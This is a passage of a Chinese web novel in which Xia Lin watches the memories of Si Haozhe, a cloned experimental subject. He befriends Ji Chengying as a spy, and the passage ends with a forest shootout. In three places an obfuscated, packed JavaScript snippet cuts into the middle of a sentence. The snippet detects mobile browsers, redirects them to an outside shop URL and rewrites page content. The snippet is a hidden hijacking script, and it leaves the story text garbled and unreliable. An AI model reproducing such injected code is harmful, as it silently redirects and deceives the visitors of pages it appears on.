他将手中的卡片朝着夏林亮了出来,之前他手指摩挲的位置下,清晰地出现了三个数字。 003。 在夏林的视线注视下,红发男人将自己的红色领结摘掉,扯开了自己的领口。 在他的脖颈靠近右边锁骨一侧,同样印有这三个数字。 003。 确认夏林清楚地看见了自己脖颈上数字之后,红发男人转身蹲下身,像拎小鸡一样提起了地上的尸体,扯开了对方的衣领。 这具“司昊泽尸体”的脖颈上同样有三个数字。 007。 “看到了吗?卡片是我给你的,之前在天宿军校的那些日子里,也一直都是我。” 红发男人顿了一下,唇边勾起了一个自嘲的弧度: “但我们都是‘司昊泽’。” 41. 司昊泽7 这一次的游戏回忆来得十分突然。 夏林还未来得及对“003号司昊泽”轻描淡写吐露出的惊天秘密做出什么反应,周围的场景就暗了下来。 这是一个几乎纯白一看就不怎么正常的空间。整个房间没有窗户,仅有的摆设是固定在地面上的一张儿童床,一把椅子和一张小桌子。 夏林一眼就认出了那个双手在桌上交叠端正坐着的红发小孩。 大约七八岁的样子。 他聚精会神地看着前方的光脑投屏,上面正播放着对于他这个年龄来说尤为晦涩难懂的机械结构课程。 外面的门悄无声息地开了。 “司昊泽。” 从门外进来了一个身穿白大褂戴眼镜的研究员,他进来先是看了一眼光屏上播放的内容进度,然后在手持的纸质资料上记录了一笔,边写边说:“已经帮你暂停了,等会再学。博士有事找你,先跟我来吧。” 两人一前一后离开了房间。 游戏回忆里夏林的视角方位都不可自由调整,只能跟着“主角”移动。所以等到小司昊泽离开房间,她才看到外面的场景。 外面的布置也几乎都是灰白色调的。刚走出门,夏林就发现靠司昊泽所在房间的这一侧墙面上是一大面玻璃。 单面透视。外面来往的人可以清楚地看到里面人在做什么,但从里面看不到外面。 ……真是十分熟悉的构造。 夏林是直到后来进入军校学习时才知道,即便是在前线俘获的联邦战俘,在《人权法》的规定下,也不可以让人在这样的空间里长久生活。 但当时作为一个任人宰割的小孩,她和现在的司昊泽一样。 没得选。 他们所在的位置似乎是在建筑的地下三层。夏林跟着他们进了电梯,看到研究员按了四楼的按钮。 楼上来往的人数比起地下有了显著增加。除了来去匆匆的白大褂研究员之外,还有手持枪械定期巡逻的军人。 夏林在经过时仔细地瞧了那些军人好几眼。 军服上没有出现任何标识,也找不到区分军衔的纹样。 这栋建筑的占地面积似乎极大,夏林跟着前面两人走了有将近十分钟,才看到前面的眼镜研究员通过指纹识别再次进入了一个房间。 里面坐着一个面容和蔼的老人。他一听见开门声就关闭了光脑,从椅子上站了起来,对着进门的司昊泽露出了一个微笑: “小司,你来啦?我们先去检查一下身体。”话落他给了之前带路的眼镜研究员一个眼神。 眼镜研究员示意司昊泽跟上他进入里面的另一个房间。夏林在门口望了一眼,里面有着一台足以包裹住一个成年人的庞大仪器。 司昊泽像是已经来过这里许多次。他熟门熟路地平躺到了上面,自己扣上了固定带,任由庞大的机器张开大口将他整个人吞噬。 夏林在旁边盯着操作员的光屏显示,上面出现了一些常见的身体指标,但更多的是她看不懂的缩写数据。 检查时间约有三分钟。司昊泽从里面出来后,就被重新带到了老人所在的外间。 身穿白大褂的老人递给了他一个光脑,上面已经设置好了一个页面。 “小司,我们今天的题目很少,只有10道,但你需要在1分钟内完成,能做到吗?” 听见这句话,在一旁的夏林微怔了一下。 那边的司昊泽已经眼也不眨地看着上面没听到他回答就已经出现的第一道题。 一分钟的时间转瞬即逝。老人接过了光脑查看司昊泽的答卷,同时又递给了他一样物品。 是一颗草莓味的棒棒糖。 这个红发男孩一拿到手就剥开了糖纸,沉默不语地吃着。 老人很快看完了司昊泽的回答。这份答卷似乎有让他特别在意的地方,夏林留意到了一些微妙的表情变化。 面向小司昊泽时,老人又挂上了那副和蔼可亲的面容。他点开光脑将方才的答卷结果投屏,微微弯下身,亲切地说:“小司啊,这个第六道题,你是怎么回答出来的?” “据我所知,你好像没有学过军事指挥学的任何知识?” 司昊泽恍若未闻,只顾自己吃糖。 夏林很难想象现在这个寡言少语的红发男孩和以后的那个校园人气王会是同一个人。 这种不回答的情况似乎也是常态。因为那个老人后续没有过多追问,而是盯着司昊泽看了好一会,问出了另一个意味不明的问题: “小司啊,你最近有感觉到自己有什么不一样的变化吗?” 紧接着又像是威胁般地跟了一句: “不回答的话我们可能会搞不懂,‘一不小心’配错你的药哦。” 夏林清晰地听到这个红发男孩“咔”地一声咬碎了嘴里的糖果。 然后她听到了司昊泽的第一次开口: “……没有。” “真的没有?”老人步步紧逼,盯着他追问道。 “真的没有。”司昊泽眼神丝毫没有闪躲,坦荡荡地回望了回去。 蓦地,老人收起了之前咄咄逼人的表情,又露出了一个微笑: “好,谢谢小司。听小吴说你今天还有课没有听完?那你快回去吧。”话落便直接转身,没有再看这边一眼。 之前去找司昊泽的那个眼镜研究员见状又上前去示意司昊泽和他一起出去。 夏林本以为视角位置又要变了。可她发现司昊泽走了之后,她居然还停留在这个房间里。 老人打开了光脑,接通了某个人的通讯: “长官,我刚做完003号的定期测试,向您汇报。” “先说结论,我非常确定地告诉您,003号实验体已经实验成功。他已经连续答对了八次他从未学过的领域内高难度考题。那些都属于001号和002号的培养学习内容。” “他无论是身体素质还是学习能力都优于之前的001号和002号。以我个人之见,这孩子的心性也十分合适。我相信,003号是我们投入‘奇迹计划’的最佳人选。” 这个通讯不知道是游戏设定还是其他什么,夏林没有听到另一边的人说话。 但这几句话里透露出来的信息量已经足够多。 实验体。奇迹计划。 之前在外面已经出现过两个外表完全一致的“司昊泽”。夏林当时察觉到不对劲还特意用言语试探过对方,结果发现对方完全回答得上来。 结合博士的这几句话推测,所以这个实验,是让这些拥有司昊泽面孔的实验体,能够共享对方的一部分或者全部记忆? 夏林皱了眉。 ……这个乙女游戏到底是安排了怎样荒谬的剧情设定。 后面的“奇迹计划”反而非常好理解。因为她知道这个游戏就叫《奇迹军校》。玩家作为设定上机甲同步率100%的人选,也是司昊泽背后这个组织一直在寻找的人。他们都是为了重现“236幽灵事件”里军舰自然消失的那个奇迹。 还未等夏林思索更多,周围场景渐渐暗了下来。 已有多次经验的夏林立刻就知道这是要切换场景的前兆。但当她配合着光亮再次睁开眼之时,眼前看到的景象却让她微微一愣。 她好像看见了一个熟人。 半长不长的白金发丝在脑后被扎成了一个小啾啾,体格略显单薄的少年配上精致的五官在这个年纪美得雌雄莫辩。 是纪承英。 四周的场景像是在某栋教学楼的楼顶天台,身穿校服的纪承英被五个更为高大的男生团团围在了中间。 这什么情况? 夏林瞥了一眼旁边利用屋顶庞大设备遮掩了身形正饶有兴致居高临下看着下面“好戏”的司昊泽。 他的样子相比之前的记忆里已经长大了不少,大约已有十二三岁。 下方的“好戏”已经开演: “把包还我。”纪承英率先开口。 “我明明听说这次的新生里面有纪将军的儿子……”前面一个男生说话了,他上下打量了一番纪承英,和两边人嗤笑道,“怎么来的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148489|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小妹妹?” “来,叫声哥就还你。” “对对,我们不为难女生。” …… 纪承英在这个年纪已经有了几分以后的沉稳之相,他对这些气人的嘲讽话恍若未闻,径直走向了手里拿着他书包的那个高大男生。 他走到人跟前,伸手抓住了自己的书包,然后转身—— 却没有走动。 身后抓着书包的人没有放手。 “别着急走啊小妹妹,还没叫哥呢。”身后传来那几人的声音。 纪承英在原地沉默了几秒,突然猛地拽了一把书包。但后面人似乎也有所预料,使了力气与之对抗,纪承英还是没有成功拿走他的包。 可纪承英显然不是打算与他们“拔河”。 夏林只看到后面抓着书包的男生突然就失去了平衡,往后踉跄了一大步没站稳坐到了地上,书包砸在了脸上。而纪承英则是往前了几步一脚猛地踢到了自己的书包上。 那个男生没了动静,像是晕了过去。 周围人被这几秒间的突发状况唬了一下,直到友方昏过去一个才反应过来一起加入“战斗”。 学校天台顿时陷入了一片混乱。 夏林瞥了一眼旁边躲着看戏的司昊泽。他不知道从哪里掏出了几颗娇艳欲滴的新鲜大草莓,正边吃边看,吃得津津有味。 几分钟后,他草莓吃得就剩手上一颗了,下面的架也打完了。 长大后品学兼优文武双全的模范生纪承英显然小时候也没闲着,一打五还能险胜。 险胜,指的是其他人都倒了地,纪承英至少还挣扎着站了起来,踉踉跄跄抓着自己的书包往回走的情况。 就在夏林疑惑这段记忆是什么意思的时候,险象骤生。 夏林其实并没有看清楚下面的状况,但她看到旁边的司昊泽突然站了起身,往下做了一个抛掷的动作。 脆弱的草莓落在地上自然是砸烂了,但与此同时还有金属落地的声音。 下面的纪承英在原地也愣了一下。他回头看了一眼被砸远的小刀,低头与趴在自己脚边还维持着手握刀柄动作的男生四目相对。 又朝那人猛踹了一脚。 “我要是你,就不会这样一头热赤手空拳直接过来,”看完戏的司昊泽从屋顶一跃而下,朝着纪承英走去,边走边说: “这几个人在校内很有名,但凡你找个高年级或消息灵通的同学问问,就知道他们一般身上都会带点‘家伙’。” 纪承英没有给突然冒出来的司昊泽半个眼神,依旧自顾自地往前走。 司昊泽手一横,拦住了纪承英的去路。 纪承英终于停下了脚步,抬眼看他:“做什么?” “看在我救了你腿的份上,给个联系方式?”司昊泽递出光脑,露出一个灿烂的笑容。 “你一直在上面看戏?”纪承英抬头看了一眼司昊泽刚才跳下来的位置,然后转头看了一眼地上“壮烈牺牲”的一滩稀烂,“还吃草莓?” “怎么了?不行吗?”司昊泽丝毫没有被戳穿的尴尬,答得理直气壮,“在互不认识的情况下,我只会主动出来帮助彷徨的美丽少女。你是吗?” “……”纪承英在原地沉默了一下,忽然低头从书包里翻出了他的光脑,在上面操作了几下。 夏林看到司昊泽开着的光脑页面上弹出了一个对话框。 司昊泽捂嘴作夸张惊讶状,笑得十分欠揍:“哦?你真是啊?” “……”纪承英懒得理他,径直走过了司昊泽,往楼内走去。 “喂!我知道你叫纪承英,我是高你一级的司昊泽学长,别忘了嗷!” 司昊泽冲着前面人的背影喊完,转过身瞥了一眼在地上倒得七零八落的那几个大块头男生。 从夏林的视角可以清晰地看到,司昊泽在光脑上操作打开了自己的另一个通讯页面。 他长按删除了一条历史信息。 内容是:纪承英的存储柜密码148377。 司昊泽是发送方。 42. 司昊泽8 一切都是计划好的。 接下去在夏林眼前接连出现的记忆片段像是两个完全割裂的明暗世界。 白天的司昊泽与纪承英逐渐亲近,是每天都在搞怪和打闹中度过的少年青春校园日常。 而入夜后,那个阳光红发少年则化身为秘密间谍,面无表情地游走在被血腥侵透的黑暗之中。 一个人的角色原来真的能这样大反差地切换。 夏林突然想到了秦封曾将其描述为“戴着完美无缺的面具”。 现在似乎一切都有了答案。因为司昊泽已经将这种事情持续了超过十年,几乎占据了他人生的三分之二。 夏林看着司昊泽借着各种“巧合”一步步地接近纪承英,取得了他的信任。 那么,在已经知道纪承英结局的现在,系统给她看这段记忆的用意在哪里? 夏林没有忘记,这个乙女游戏的每一个回忆都有关键信息,对角色的结局或后续发展有着直接影响。 就在她脑海中划过这个疑问的同时,眼前的“少年青春日常”骤然生变。 这是司昊泽和纪承英放假期间一同报名的一项小岛潜水比赛。 夏林光是开头看了几眼这两人的装备和姿势就知道都是高手,显然都不是第一次参加这种运动。 司昊泽和纪承英因为年纪只差了一岁,比赛时被分在同一个组。 比赛内容是潜到一定深度,拿回组委会固定在海底的标志物,并返回到海平面记录全程用时。用时最短者获胜。 作为记忆里的旁观者,夏林在上帝视角下看到两人几乎是同时触碰到海底标志物的。 然后纪承英率先上浮。 司昊泽不知为何保持了停在海底的动作。 此时之前落后的周围其他选手也纷纷下潜到了位置,取到标志物后上浮。 杂乱的气泡消失殆尽之后,司昊泽还停留在原地。 他的氧气存量指标在不断地下降。 就在夏林以为要发生什么意外的时候,之前第一个上浮的纪承英又潜了下来。 他到司昊泽的周围,查看对方的氧气浓度之后立刻取下了自己的备用呼吸器,给司昊泽接好之后拽着他上浮。 两人返回海面,被救生员拉回船上后,之前对所有动作毫无反应的司昊泽一被拉下面罩就嬉皮笑脸道: “抱歉,可能是因为昨晚熬夜,刚才有点脚抽筋。比赛你第一吗?你今天运气好,下次……” 他这句话还没说完就被毛巾糊了脸。 “擦完就起来跟我去急救处,”纪承英迅速处理完自己身上的潜水设备,转头看司昊泽,“还能起来吗?” 还抓着毛巾的司昊泽愣了一下:“不用去急救处吧,我觉得我……” “你还是去一下吧,”旁边一个救生员打扮的大叔打断了他,“你不知道,你现在脸白得跟死了三天一样。别逞强了小伙子,这是你兄弟吗?”他指了一下旁边的纪承英。 “你好好谢谢他,他本来应该是第一名,但浮上海面之前好像发现你出事情了,就回头去救你了。” 才知道是这个结果的司昊泽停下了动作,表情怔了一下:“真的?你……为了救我没有继续比赛?” 夏林观察到他攥着毛巾的那只手此时似乎极为用力,导致指甲发白。 纪承英没有回答,只是撇过头不耐烦地催了一句:“……快来。” 司昊泽整个人的状态到了船上就诡异地好了很多,他一撑甲板站起身跟着纪承英一起走。 只是他还没放弃之前的问题,一路上一直喋喋不休: “为什么?比赛配置的氧气很充足,而且也有救生员,那种深度不会有事的啦。你好好的第一名干嘛放弃?不是你自己说这个比赛如果拿到第一可以在后续入学天宿军校时加分吗?傻了吧小英,下次不要再这么干了。” 纪承英一路保持着沉默,直到两人走进了作为急救处的船舱。 一进门,在女医生的瞠目结舌中,纪承英重重一脚将身旁的司昊泽踹进了离门最近的空医疗舱。 司昊泽的头似乎撞在了舱门上,发出了好大一声声响。 “忍你很久了,只是在路上揍你最后还得连累我给你背过来。”纪承英居高临下地睥着医疗舱内撞得龇牙咧嘴的司昊泽。 “是因为刚才脑子进水了吗?你说说,人和成绩哪个重要?” 司昊泽四仰八叉地坐在医疗舱内,捂着自己头上撞痛的伤口,表情有些茫然。 纪承英一看他这样,转头对旁边的女医生说:“医生姐姐,麻烦给他治治脑子。药量加倍。” 纪承英重新转过头对看起来还在迷茫中的司昊泽说:“喂,你给我听好了。” “不管是什么情况,人的命都得比成绩重要。哪怕刚才在那里的不是你,是我完全不认识的陌生人。” “要是刚才你是突发什么紧急疾病,更快救到你一秒,都是更多的生还可能。刚才我的救援速度比救生员快,这种事谁也说不准。” “……你好好休息吧。”话落那个金发少年就转身离开了这里。 留在房内的司昊泽被女医生按回了医疗舱。 站在旁边的夏林听见了他的喃喃自语: “人比成绩重要?” “可是没有成绩的话,会……” 死。 夏林很快知道了司昊泽之前在海底发生异常的原因。 “001号司昊泽”死亡了。 就在003号司昊泽潜入到海底的那一刻,一直留在研究所的001号突然冲进了某间动力实验室,越过安全栏直直地跳进了高速旋转的巨大涡轮叶片之中。 然后瞬间被搅成了肉泥。 对001来说,那短暂的一瞬结束得很快。但对共享着记忆的其他“司昊泽们”来说,这是永久留存在记忆里的死亡阴影。 为什么? 夏林站在一旁和司昊泽一起听着光脑对面某个人对这件事的说明: “……自从003号外出前往帝国投入计划之后,001和002的学习效率和多巴胺指数都出现了下降现象,其中001号的数据尤为明显。” “尝试了更换药物、房间,调整日程安排等策略后,下降幅度有所平缓。” “据博士推测,此次事件是心理因素所导致的。之后我们将针对性地对002号进行心理干预,确保不会对这边的作战造成任何影响。” “……” 司昊泽一语不发地听着,那头尤为醒目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152675|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的红发在阴影下显得有些黯淡。 “由于001号的损失,情报与知识摄入速度下降。现004号和005号已投入研发,预计未来的24个自然月内完成……” “如果,”司昊泽突然出声打断了对方,“如果004号或005号拥有比我更优秀的数据表现,我会被召回,与之更换吗?” “……我们会优先使用‘成功率最高’的作战方法。” “了解,”司昊泽抬了下眼皮,“请帮我回复博士。” “‘003号将是这个计划的唯一执行者。’” 正如他所说的那样。之后的司昊泽比之前愈发拼命。 宛如落入渔网中的一尾囚鱼,唯有拼尽全力去往上挣扎,才能超越其他人,获得那赖以生存的仅存氧气。 可他们最终的结局都是一样的。 司昊泽显然也知道这一点。 下一个出现的记忆片段让夏林微微一怔。 那是身穿天宿军校制服,别着学生会金色羽翼徽章的纪承英。 与她进入游戏后遇到的纪承英造型完全一致。 以往这个游戏出现的角色记忆片段都是很久之前的。这是第一次出现玩家时间线上的回忆。 夏林只听了一会就立刻知道了这个对话发生的时间。 纪承英正在与司昊泽商讨他所有在巨蛋烟花会场的布置。 在纪承英面前,司昊泽一直都是维持着挚友的设定。所以他听得认真,甚至还给出了一些有用的改进意见。 讨论末了,纪承英忍不住开口: “……你不问为什么吗?我在和你计划在人群密集处击落军部的战斗机?” “为什么要问?”司昊泽瞥了一眼光脑上被详细记录的某一块内容,低声道,“是我的话,我不会为‘人员伤亡’考虑这么多。” “因为即使你再怎么控制,它都会发生。或许军部最后会帮你隐瞒,不会承担什么舆论骂名。但死十个人和死一百人一千人,对你来说都是一样的不好受吧?” “对我来说或许是一样的,”纪承英垂下了眼睫,“但对于那些对即将到来的一切一无所知的普通人来说,就是截然不同的命运,我希望给他们多一点机会。” “因为人比成绩更重要?” 纪承英微微一怔,抬眼看向司昊泽。 高大的红发青年倚靠在墙上,抬了下眼皮:“这是你以前和我说过的话,还记得吗?” 纪承英很快回身,说:“我记得,是那次海岛潜水?你……” 司昊泽打断了他的话: “我问你,现在的你,依然是这样想的吗?” 骤然对上的两双眼眸,一边是纯粹见底的淙淙碧水,一边是被夜色完全侵染的墨蓝深海。 眼神交汇,几个眼波流转间,一切尽在不言中。 纪承英没有给出他的回答。 但司昊泽仿佛已经知道了。他直起身,转身往外走: “祝你晚上成功哦,小英。”司昊泽边走边说,还抬起手扬了扬。 期间一次也没有回头。 唯有一直跟着主角视角移动的夏林听到了司昊泽后面的那一句几不可闻的低语: “……我也会给你机会。” 43. 司昊泽9 这段记忆的开始和结束一样的突兀。 就在夏林以为场景的变暗是要切换下一段记忆时,下一秒她却发现自己正坐在一架飞行器上。 “昨晚上发生了太多事,累了吧?”身旁传来了司昊泽的声音。 夏林猛地回头,依然穿着那件残破白色西服的司昊泽正坐在驾驶座上偏头看她,见她回头还眨了下眼:“小学妹你刚才睡得可熟了,还打呼呢,擦擦嘴边的口水?” 夏林无声地看了他一会,不为所动。 司昊泽露出失望的表情,耸了下肩嘟囔了一句:“真不好骗。” “我们去哪儿?” 夏林发现飞行器外面的景色不是她之前见过的光怪陆离的都市高楼,而是与之截然不同的原始森林。 一眼望不到尽头的参天大树是视野里唯一的风景。这种树不知道是什么品种,主干上几乎没有分支,几乎所有枝叶都聚集在了顶端,导致下方只有稀稀落落的阳光洒下。 光影之下,司昊泽驾驶着飞行器在树干之间灵活地穿梭,闻言打趣道: “去把你卖掉。” 夏林没有说话,只是略微朝司昊泽那边偏了下头,想查看驾驶座旁边的地图显示。 结果她却发现司昊泽根本没有打开飞行器的导航与定位系统,上面没有显示地图。 “我可没说谎,”司昊泽把脸上的表情一收,瞥了一眼夏林的动作,“你现在知道的东西太多了。而且我之前的行动上头有些不满意,所以他们似乎打算放弃我,就绕过我派了‘别的司昊泽’来抓你。” “要是想重新获得上面人的信任,只有牺牲一下小学妹你了,我亲手把你送回去,也算完成了我的任务。” “看在我们相处这么久的情面上,现在的局面你迟早会被他们抓到,不如就干脆些,成全一下我?” 夏林重新坐了回去,转头看向窗外。 她身上穿的还是昨晚的红色礼服。结合司昊泽那个“睡得很熟”的说法,他们应该还在天宿军校所在的星球。从日照角度判断,现在似乎是六七点的早晨。 小型飞行器的飞行速度有限。这种明显的未开发地区或是环境保护区往往离人类活动区很远。 这样推测,司昊泽多半是不眠不休地开了一个通宵。此时他虽然看上去精神还可以,但多多少少还是有一些疲态。 于是夏林思索了一下,开口道:“有吃的吗?” 司昊泽闻言从座位旁摸了一会,掏出一个压缩饼干和一小瓶水递了过来:“只有这个。说好了啊,现在可不是学妹你像之前那样挑食的时候。” 他指的是两人初见时的情景。 夏林依然没接。 司昊泽眉一横,刚想说些什么,结果一转头就对上夏林意有所指的视线。 他看了一会,忽然心领神会了什么:“啊,嗯……”他重新回过头看向前方,抿了下唇,控制飞行器开始降落。 “有其他衣服吗?”夏林问。 “应该有?”司昊泽控制飞行器在地面上停稳,移开座椅在后舱翻找了一通,拿了两套衣服出来,递给了夏林一套。 他打开了飞行器的门,抬起下颚朝外面点了一下示意:“你去解决……呃,你的私事吧,我在这里等你。” 夏林抓起衣服什么也没说,转身下了飞行器。 见夏林离开后,司昊泽关上了门,抬手一件件依次脱下了自己身上的白色西装,白色衬衫。 腹肌分明的精壮身材上没有一丝赘肉,但醒目的是左侧腹部位置缠了一圈又一圈的厚厚绷带。 即便如此,依然有红色的鲜血浸透了绷带,从表面渗透了出来。 司昊泽低头看了一眼伤口,皱眉从后舱翻出了一瓶药物,确认了标签就眼也不眨地仰头喝下。 他重新穿上了找到的黑色便服,坐到驾驶座上拿起压缩饼干咬了一口,又喝了点水,确认了一下时间。 只过去了两分钟。 司昊泽思索了一下,又快速咬了几口饼干,在飞行器上设置了五分钟后提示的闹钟。 药物的作用和一整夜的困乏让他在驾驶座上阖上了眼。 他并不担心独自离开飞行器的夏林,因为这里是光靠双脚根本走不出去的原始森林深处,显然那个聪明的小学妹也知道这一点。 他现在打算稍微休息一会。 · 不知道过去了多久。司昊泽在驾驶座上惊醒。 他第一件事就是低头确认时间。 已经过去了超过半小时。 司昊泽猛地站了起身,顾不及追究闹钟为什么没有响,他现在必须要去找夏林。 停留时间太久了。 只是司昊泽一打开门,多年以来养成的对危险的敏锐警报骤然作响。 他当即作出反应一把拉上了门。 关上门的瞬间,密集的子弹如骤雨般落在了门上。 司昊泽一步迈向了驾驶座,调出了飞行器周围的摄像头。 远处停着两架小型飞行器,根据载客量判断敌人最多有10人。其中有4人两两分布在飞行器的左右门正前方树后隐藏,2人在飞行器前方,2人在飞行器尾部,距离飞行器大概都只有30米左右。 这是一个就算用二十一世纪的老式手枪都能又准又快的范围。 而且或许还有两个人不知所踪。 他们难道是去追夏林了? 这个可能的猜测让司昊泽瞬间表情阴沉了下来。他立即从驾驶座上站起,从后舱摸出了几个手雷放入口袋,拿出枪拉开了保险栓。 当他把手再次放到飞行器门的按钮上时,他的动作忽然一顿。 司昊泽重新收回手,用力地摸了一把脸。 做完这个动作之后,他的眼神比之前清明了许多。 不对。 司昊泽深吸了一口气。 刚才短暂的休息到底还是让他的精神恢复了一些,让他在现在的极度不安和焦躁之余还苏醒了一丝理智。 如果他们有看到夏林在外面,那么这些人不可能这样按兵不动。 因为如果他们确认飞行器内只有他一个人,刚才招呼他的也不会只是这点子弹。 所以结论是外面的夏林现在还没有被他们发现。 这个还算好的结论并没有让司昊泽紧绷的神经放松下来。 ……只是“目前还没有”被发现而已。 那些人显然是通过“其他司昊泽”的共享记忆找来的,这两家飞行器上显然也没有“别的司昊泽”。 因为他们的消息有延迟,还不知道之前他让夏林离开飞行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157787|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 器了。 这个延迟会有多久? 司昊泽握着枪的手颤抖了一下,又重新收紧。 一旦那些人得到消息,绝对会第一时间对只有他在的这架飞行器进行毁灭性打击,然后再去搜寻外面的夏林。 而眼下这种被团团包围困死在飞行器内的状况,他能安全突围的可能性也小到几乎可以忽略不计。 他现在出去能做的也只是吸引一下外面人的注意力,好让那个不知道躲在哪的机灵小学妹趁机跑得更远。 ……不管怎样,他好像今天都要交代在这了。 那么,他现在应该高尚到做出这种牺牲自己成全他人的行为吗? 高大的红发男人在飞行器门旁伫立了一会。 然后,做出了他的选择。 · 与此同时,完全没人想过的半空中。换好衣服的金发少女抓着树干掩藏了她的身形,低头审度着下方的情形。 “……我们必须快点行动。”夏林一眼看出了情况的危急,对旁边的秦封说道。 “行动?”秦封重复了一遍,“你要怎么行动?” 夏林从口袋里掏出了一把她关掉司昊泽闹钟时,“顺手”从飞行器里摸来的枪。 旁边的秦封扫了一眼:“就凭这个?”他很快判断完,得出结论,“他们人多,你下去没有胜率。” 夏林转过头,冲他扬了下眉:“所以我刚才说了,是‘我们’行动。” 这突如其来的笑颜一瞬间让秦封晃了神。 唇边上扬的弧度,神采熠熠的蔚蓝色眼眸,随风拂动的金色发丝。 这是他在很久,很久之前才见过的表情。 “之前其实不太确定你会不会带我做出这种‘违反游戏’的行为……但你刚才答应得出乎意料得快?”夏林说完这一句,旁边的秦封却没什么反应。她微皱眉,喊了一句: “秦封?” 身旁的黑发男人如梦初醒。他抬眼看向夏林,低声道:“怎么?” “……我说,既然你可以让我将躲藏地从地面换到这个半空中的位置,说明你可以带着我进行刚才那样的‘瞬间移动’?” 这关键的四个字让秦封立即明白了夏林接下去的作战计划。他张了张口,刚想说些什么,但一对上夏林的眼睛,那些要说出口的话语瞬间迟疑了。 最终他只是叹了一口气,说: “是可以。” 得到想要答案的夏林顿时舒展了眉眼。她低头看了一下下方的人员状态,十分自然地伸手将秦封拉近,凑近耳边把之前在心里早已精心计算过的最佳作战计划一一低声说出。 末了她拉开距离说道: “我们现在就得行动了,迟了我担心下面的司昊泽醒来后会采取一些‘意外行动’。” 耳边那些让他发痒的气息似乎还有所残留。秦封垂眸看了她一会,问:“以司昊泽现在的好感度,你觉得他会为了你出来吸引火力?多少好感度了?” “我好久没看司昊泽的好感度了,而且现在也不打算看,万一打击信心了呢?这可是战前大忌。”夏林检查完枪支做好作战准备后举了个手势示意秦封,让他准备按计划开始: “反正你只要知道这一次,我一定会成功。” 金发少女如此说道。 44. 司昊泽10 就像是有什么心电感应一般,两边的作战几乎是同时开始的。 所以当司昊泽顶着切割下来的飞行器门作为挡板向外冲了一段,将门架在地上蹲着回身往飞行器前后两边开枪之时,他瞬间就发现了原本应该在前方的敌人毫无动静。 但他顾不及思考太多,来自另一侧的子弹密集地打在了飞行器门上。 这门并没有经过什么改造,即使材质还可以,防御力也是有限的。 司昊泽集中注意力将火力集中于飞行器尾部。 极佳的动态视力和更有利的射击角度让司昊泽很快解决掉了飞行器尾部的敌人。与此同时,敏锐的听觉也让他捕捉到了身后正前方两侧的火力似乎不知何时也只剩下了一侧。 他当机立断,拉开一个手雷往那个方向一抛,自己往后方飞行器舱内纵身一跃。 一声爆炸的轰鸣之后,外面没有再传来任何动静。 在硝烟尘土的掩盖之下,及时躲在飞行器舱内毫发无伤的司昊泽提起枪,再次迈了出去。 他枪口向前,打起十二分的精神警戒着周围。 前方隐约出现了一个人影。 “停下!”第一时间发现的司昊泽冷声喝道,“不然我……” 因爆炸而扬起的尘土在渐渐消散,前方的人影轮廓也变得更为清晰。司昊泽一直紧盯着前方,口中这句话还没说完他就意识到了什么。 司昊泽立即大步向前,一把拽住了对方的手将她拉至身前,然后将她往身后飞行器的方向推:“回去!” 他说话的同时自己转身贴着夏林的后背,继续枪口朝外警戒周围。 两人很快退回了飞行器舱内。 飞行器两侧的门被司昊泽刚才拆掉了一扇,因此部分暴露在外的后舱并不安全,两人回到了前舱的驾驶座上。 直到坐在驾驶座上,视线里重新出现那个金发的身影时,司昊泽才感觉到自己紧绷的神经略微放松了一些。 但对方的下一句话又让他如鲠在喉。 “抱歉,你的闹钟是我关闭的。” 夏林一说完这一句,立马看见身旁人的眼神肉眼可见地变得锐利。 这是意料之中的反应。 她毫不在意地抬眼对上那双墨蓝色的眼眸,有条不紊地说:“你自己也知道的吧?追兵迟早会来的。” 就像是在附和着夏林这句话一般,远处传来了飞行器启动的声响。 两人双双回头看向显示屏里的摄像头画面。远处停着的两架飞行器里有一架周围逐渐扬起了尘土,在推进器的启动下渐渐提升高度,然后以极快的速度略过了他们头顶,在空中消失不见。 刚才果然还有敌人留在那两架飞行器上,并不是所有人都出来围剿他们了。 司昊泽望着显示屏画面的表情十分阴沉。 “你刚才太疲劳了。要是一直以那种状态应对明显优势于我们的追兵,你不会有一丝胜算。”夏林冷静地说出她之前观察后的结论,待看到身旁人转过头愠怒的眼神后,才继续慢慢说道,“我觉得比起被动地等待不知何时到来的追兵,在原地做好准备等他们过来会是更好的策略。” “所以你就这么关了我的闹钟,打算在我毫不知情的情况下强行实行你的‘策略’?”司昊泽怒极反笑。他伸手一把拽过了夏林的衣领,神情阴翳地说:“如果刚才来的人更多一点,我们都会死在这里。” “所以你刚才不是报过仇了吗?”夏林并没有因对方充满压迫的动作而动容,她十分冷静地陈述着,“你看出来了吧?有人在帮你。但你刚才却依然使用了手雷。” 